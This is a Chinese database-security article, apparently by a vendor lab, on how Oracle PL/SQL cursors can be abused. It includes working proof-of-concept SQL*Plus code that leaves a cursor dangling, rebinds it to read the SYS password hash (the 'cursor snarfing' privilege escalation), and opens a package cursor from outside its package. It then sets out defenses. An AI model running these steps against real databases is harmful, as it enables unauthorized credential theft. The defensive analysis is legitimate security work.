數(shù)據(jù)安全治理關鍵技術之數(shù)據(jù)庫脫敏技術詳解
數(shù)據(jù)安全治理之API監(jiān)測系統(tǒng) ,解決API接口安全問題【安華金和】
新一代數(shù)據(jù)庫脫敏技術,為敏感數(shù)據(jù)建立保護盾!
數(shù)據(jù)庫脫敏系統(tǒng)與金融行業(yè)案例解讀
數(shù)據(jù)安全治理建設思路的著力點——數(shù)據(jù)安全咨詢服務【安華金和】
數(shù)據(jù)庫防火墻功能有哪些?-數(shù)據(jù)安全-安華金和
數(shù)據(jù)安全關鍵技術之數(shù)據(jù)庫脫敏技術詳解【安華金和】
中國數(shù)據(jù)安全治理落地指導書籍《數(shù)據(jù)安全治理白皮書5.0》正式發(fā)布(附下載)
SQL是面向集合的語言,其結(jié)果一般是集合量(含多條記錄),而pl/sql的變量是標量,一組變量一次只能存放一條記錄。很多時候查詢結(jié)果的記錄 數(shù)是不確定的,無法提前聲明足夠的變量。于是引入了游標的概念,游標使得數(shù)據(jù)庫操作更靈活,但同時也給黑客入侵數(shù)據(jù)庫帶來了機會。安華金和數(shù)據(jù)庫安全實驗 室(DBSec Labs)基于游標的應用原理,本文討論游標可能帶來什么安全隱患以及如何應對這些安全隱患。
oracle數(shù)據(jù)庫游標是Pl/sql執(zhí)行DQL、DML等語句的時候,oracle在內(nèi)存中為其結(jié)果集分配一個緩沖區(qū)。游標是指向該區(qū)的一個指 針、命名一個工作區(qū)或是一種結(jié)構(gòu)化數(shù)據(jù)類型。它為應用程序提供了一種對結(jié)果集中每一行數(shù)據(jù)單獨處理的方法。oracle 游標基本可以分為以下3類:顯式游標、隱式游標和動態(tài)游標(關系具體看下圖)。
游標的核心功能在于,從表中檢索出結(jié)果集,每次指向一條記錄,與客戶端或應用程序進行交互,因此游標是設計嵌入式SQL語句的應用程序的常用編程方式。隨著游標的廣泛使用,其本身的安全隱患也變得越來越突出。
oracle游標給數(shù)據(jù)庫帶來的安全隱患主要分為三大類:
1. 缺乏異常處理,掛起的游標被惡意利用
游標將數(shù)據(jù)庫中相應的信息存入內(nèi)存塊中,當用戶打開游標的時候,可以直接訪問游標指向的內(nèi)存塊中存放的信息,而無需再訪問基表獲得數(shù)據(jù)。如果一個高 權(quán)限用戶建立一個游標卻沒關閉該游標,低權(quán)限用戶就有可能獲得游標中存儲的關鍵信息,或向打開的游標中注入惡意語句,進行高權(quán)限運行,達到提權(quán)或越權(quán)訪問 的目的。這就是游標SNARF提權(quán)的基礎。
游標不正常關閉基本是人為造成的,高權(quán)限用戶忘記關閉,或者游標所在的子程序缺乏異常處理機制。如果沒有做相應的異常處理,黑客很有可能制造異常,使游標被一直掛起,利用未關閉的游標,注入惡意代碼。再利用游標自身的高權(quán)限執(zhí)行惡意代碼,進行越權(quán)或者非法提權(quán)操作。
下面試驗用例由安華金和數(shù)據(jù)庫安全實驗室提供:
SQL> connect / as sysdba
已連接。
SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS
2 CURSOR_NAME INTEGER;
3 PASSWORD VARCHAR2(30);
4 I INTEGER;
5 BEGIN
6 CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;
7 DBMS_OUTPUT.PUT_LINE('CURSOR:'||CURSOR_NAME);
8 DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD FROM
9 SYS.DBA_USERS WHERE USERNAME=:schina',dbms_sql.native);
10 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina',P_USER);
11 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30);
12 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
13 IF PASSWORD = '01234567890ABCDEF' THEN
14 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
15 ELSE
16 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
17 END IF;
18 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
19 END;
20 /
PL/SQL 過程已成功完成。
SQL> grant execute on schina_test to public;
授權(quán)成功。
schina_test
是一個缺乏異常處理代碼的存儲過程,它的作用是對給定用戶找到其密碼hash值,然后和固定HASH值進行比較并返回結(jié)果。open_cursor打開游
標直到close_cursor或SQL會話終止游標退出。由于缺乏異常代碼機制,用任意低權(quán)限賬號執(zhí)行這個存儲過程,可以觸發(fā)異常掛起游標。
SQL> connect scott/tiger
已連接。
SQL> set serveroutput on
SQL> declare
2 x varchar(40000);
3 i integer;
4 begin
5 fro i in 1..10000 loop
6 x:='b'||x;
7 end loop;
8 sys. schina_test (x);
9 end;
10 /
CURSOR 3241423
通過向p_user中輸入一個過長的x,系統(tǒng)返回ORA-01460錯誤。由于存儲過程schina_test中沒有對異常進行處理,雖然存儲過程中關閉游標了,但由于發(fā)生異常,導致游標被掛起,同時并未真正關閉??梢詫ξ搓P閉的游標注入惡意語句,以達到所需要的效果。
2. oracle游標漏洞提權(quán)
游標提權(quán)漏洞就是在上面的基礎上利用被掛起的游標,通過類似DBMS_SQL這種由系統(tǒng)定義的包,把游標語句和高權(quán)限用戶進行綁定。接著上面的例子通過DBMS_SQL綁定SYS,用戶直接獲取SYS的密碼HASH。
SQL> DECLARE
2 CURSOR_NAME INTEGER;
3 I INTEGER;
4 PWD VARCHAR2(30);
5 BEGIN
6 CURSOR_NAME:=3241423;
7 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':schina','SYS');
8 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30);
9 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
10 IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN
11 DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);
12 END IF;
13 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
14 DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);
15 END;
16 /
上述代碼是在獲取游標值的前提下進行的,因此在代碼聲明的地方寫入游標值3241423。使用DBMS_SQL中的 BIND_VARIABLE(cursor_name,':schina',sys)將游標和SYS用戶綁定。這樣執(zhí)行查詢SYS用戶。后臺數(shù)據(jù)庫真正運 行的語句是:select password from sys.dba_users where username='sys'。DBMS_SQl.define_column函數(shù)的作用是將游標中第一列的值返回給PWD變量。黑客在執(zhí)行完上述匿名塊 后,系統(tǒng)結(jié)果返回SYS密碼的HASH散列,使用HASH逆向工具進行轉(zhuǎn)換就可以獲得SYS密碼明文,直接奪取數(shù)據(jù)庫最高權(quán)限。
3. oracle游標設計本身的安全隱患
其實通過游標獲取高權(quán)限賬號的密碼完全不用這么麻煩,oracle在游標設計上本身就有安全問題。用高權(quán)限用戶寫一個包,這個包中放入一個游標,功
能和前面用的schina_test是一致的。用來取回需要檢查賬號的hash。然后和我們給出的一組預設hash做對比。低權(quán)限用戶如果知道這個游標可
以直接在包外調(diào)用該游標,從而獲取游標中的內(nèi)容。包內(nèi)游標可以在包外被調(diào)用,這是oracle游標本身設計上的安全缺陷。
SQL> connect / as sysdba
已連接。
SQL> CREATE OR REPLACE PACKAGE schina AS
2 CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$
3 WHERE NAME=USERNAME;
4 PROCEDURE CHECK_PASSWORD;
5 END;
6 /
程序包已創(chuàng)建。
SQL> CREATE OR REPLACE PACKAGE BODY schina AS
2 PROCEDURE CHECK_PASSWORD IS
3 PASSWORD VARCHAR2(200);
4 BEGIN
5 OPEN X (USER());
6 FETCH X INTO PASSWORD;
7 CLOSE X;
8 IF PASSWORD = '01234567890ABCDEF' THEN
9 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
10 ELSE
11 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
12 END IF;
13 END CHECK_PASSWORD;
14 END;
15 /
程序包體已創(chuàng)建。
SQL> show errors
沒有錯誤。
SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;
授權(quán)成功。
通過show errors檢驗發(fā)現(xiàn)整個過程沒有X游標掛起的問題。X游標正常關閉了,到現(xiàn)在為止操作一切正常切換到低權(quán)限賬號
SQL> connect scott/tiger
已連接。
SQL> set serveroutput on
SQL> exec sys.schina.check_password;
YOUR PASSWORD HASH IS OK
執(zhí)行包返回的結(jié)果很安全,不會顯示出游標內(nèi)存儲的內(nèi)容,但如果通過一個匿名塊,在包外使用游標的結(jié)果就變得不安全了,低權(quán)限用戶可以輕易使用高權(quán)限用戶設置的游標。通過游標直接可以獲取到游標中存儲的結(jié)果集。
SQL> DECLARE PASSWORD VARCHAR2(200);
2 BEGIN OPEN SYS. SCHINA.X ('SYS');
3 FETCH SYS. SCHINA.X INTO PASSWORD;
4 CLOSE SYS. SCHINA.X;
5 DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);
6 END;
7 /
The SYS password is CF10653F66A74AC2
任何權(quán)限賬號的密碼通過這種方式都會被低權(quán)限用戶直接獲取HASH值,然后通過HASH逆向工具,獲取全部賬號的密碼。
根據(jù)上一節(jié)游標的安全隱患,我們摸清了游標安全隱患的成因。本章講敘述如何防范這些安全隱患。
1)單純的規(guī)范輸入驗證過程,綁定變量已經(jīng)不能滿足游標日益嚴峻的安全隱患威脅。應當對用戶可輸入?yún)?shù)的變量的長度做更嚴格的限制,來防止觸發(fā)異 常。最基本辦法是按照用戶輸入?yún)?shù)的正常值的長度來進行限制,在用戶輸入?yún)?shù)后,先對參數(shù)進行長度校驗。如果超過默認長度,直接拋棄該次輸入,這樣可以在 一定程度上減少異常發(fā)生的概率。
2)始終保持子程序中,有專門對付異常的異常處理機制。防止惡意輸入,導致游標被掛起。當異常發(fā)生的時候,保證會把游標關閉。
在前面提到的利用游標進行提權(quán)的技術核心是利用DBMS_SQL包中的一些帶有varchar參數(shù)的函數(shù),尤其是DBMS_sql.parse函數(shù)是完成游標注入類攻擊。攻擊者正是通過這個函數(shù)完成將惡意代碼注入到函數(shù)中,并將惡意代碼與游標綁定。
于是最直接的想法是通過撤銷DBMS_SQL的PUBLIC權(quán)限來限制低權(quán)限用戶對DBMS_SQL的利用。但整個oracle中至少有170個對 象依賴于DBMS_SQL。如果撤銷DBMS_SQL的公共權(quán)限,將會造成很多操作上的麻煩。雖然DBMS_SQL提供了注入的土壤,但如果我們對DDL 語句加以限制也可以從另一個角度阻止黑客利用DBMS_SQL對數(shù)據(jù)庫進行惡意攻擊。限制DDL語句有3種方式:
1)通過權(quán)限進行控制。
2)通過BEFORE型的安全觸發(fā)器進行控制。
3)通過防火墻進行控制。
安華金和數(shù)據(jù)庫安全專家經(jīng)過很多測試分析發(fā)現(xiàn),當用戶量少的時候DBA可以對每個用戶進行逐個權(quán)限設置,但如果用戶量大,逐個權(quán)限設置既不現(xiàn)實也不 準確。這時推薦采用數(shù)據(jù)庫防火墻和BEFORE型的安全觸發(fā)器??梢栽谟脩魣?zhí)行DDL語句之前觸發(fā)來返回一個自定義系統(tǒng)錯誤,告知用戶沒有執(zhí)行DDL權(quán) 限,這樣就可以達到限制用戶執(zhí)行DDL的目的了。但是如果想更精確的限制用戶DDL語句,使用數(shù)據(jù)庫防火墻可以比采用觸發(fā)器更方便和更靈活。
oracle全局游標設計存在問題,游標可以在被定義的包外打開,低權(quán)限用戶正常操作,很可能就會獲取到高權(quán)限才可以看到的敏感信息。如果在可選的 情況下,盡量不使用游標,如果要使用游標,盡量使用局部游標(無法在游標定義包外打開的游標)。最后如果一定要使用全局游標,安華金和數(shù)據(jù)庫安全專家提示 可以通過數(shù)據(jù)庫防火墻或者觸發(fā)器對調(diào)用游標的用戶進行檢查。如果發(fā)現(xiàn)該用戶權(quán)限低于創(chuàng)建游標的用戶,則禁止該游標被用戶打開,否則用戶可以正常調(diào)用該游 標。
游標作為oracle的核心子程序,安全性十分重要。但oracle的游標雖然解決了一些問題,但咱安全性上還有很大問題。安華金和建議 Oracle給游標一個參數(shù),作為安全參數(shù)。默認打開安全參數(shù),當游標在其被定義的包外打開的時候,對游標進行強制檢查,一旦發(fā)現(xiàn)打開該游標的用戶權(quán)限低 于創(chuàng)建游標者的權(quán)限,則直接拋出異常,禁止打開該游標。
本文從安全角度來分析oracle游標。從三個不同角度發(fā)現(xiàn)oracle游標存在大量的安全隱患。其中有DBA失誤造成的,也有oracle漏洞引 起的,但最嚴重的是oracle的全局游標本身設計上的問題。為了保護敏感信息,可以通過權(quán)限設置,創(chuàng)建觸發(fā)器,部署數(shù)據(jù)庫防火墻等多種方法進行防護。但 最重要的還是希望oracle可以對游標設置一個安全參數(shù)。對在包外打開的游標的調(diào)用者進行資格審核。只有這樣才能從機制上解決Oracle游標的安全隱 患。